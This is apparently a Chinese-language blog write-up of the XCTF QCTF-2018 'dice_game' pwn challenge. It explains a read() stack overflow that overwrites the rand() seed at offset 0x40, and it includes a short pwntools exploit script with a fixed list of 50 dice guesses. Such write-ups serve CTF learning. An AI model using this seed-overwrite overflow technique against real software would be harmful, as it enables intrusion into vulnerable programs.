XCTF 4th-QCTF-2018 dice_game

首先开一下保护XCTF 4th-QCTF-2018 dice_game_第1张图片除了canary什么都开了。。。
然后就打开ida分析:
XCTF 4th-QCTF-2018 dice_game_第2张图片read函数造成了栈溢出漏洞。
继续审代码,发现是一个游戏。该程序首先让输入name,并且使用read来读入数据,故而此处存在栈溢出漏洞。下方看见程序使用seed、srand生成随机数。当我们猜对50次随机数时程序会调用sub_B28函数,从而得到flag.
XCTF 4th-QCTF-2018 dice_game_第3张图片XCTF 4th-QCTF-2018 dice_game_第4张图片这个随机数咋办呢,,有栈溢出漏洞可以利用,所以就想着能不能将seed给覆盖掉XCTF 4th-QCTF-2018 dice_game_第5张图片我们可以看到栈里的情况,buf相对于seed的偏移是0x40,然后就可以控制seed使随机数固定,在自己写个c代码生成50个随机数就行了。
我们总结下思路:

获取flag<—调用sub_B28函数<—猜对50次随机数<—seed、srand生成随机数<—控制seed便可使生成的随机数固定<—通过栈溢出漏洞控制seed<–寻找buf与seed的偏移距离(ps:大佬的博客里写的,太明白了)

exp:

from pwn import *
p = process("./dice_game")
li = [4,2,5,6,3,6,5,4,5,5,6,2,4,6,5,3,1,1,4,5,4,3,5,1,6,6,1,5,6,4,2,1,3,4,1,6,1,3,1,6,6,1,5,1,4,3,4,5,4,1]
 
pay = "a"*0x40 + p64(6)
p.sendline(pay)
x = 1
for i in li:
	if x>50:
		break
	p.recvuntil("point(1-6):")
	p.sendline(str(i))
	x += 1
p.interactive()

你可能感兴趣的:(pwn,ctf)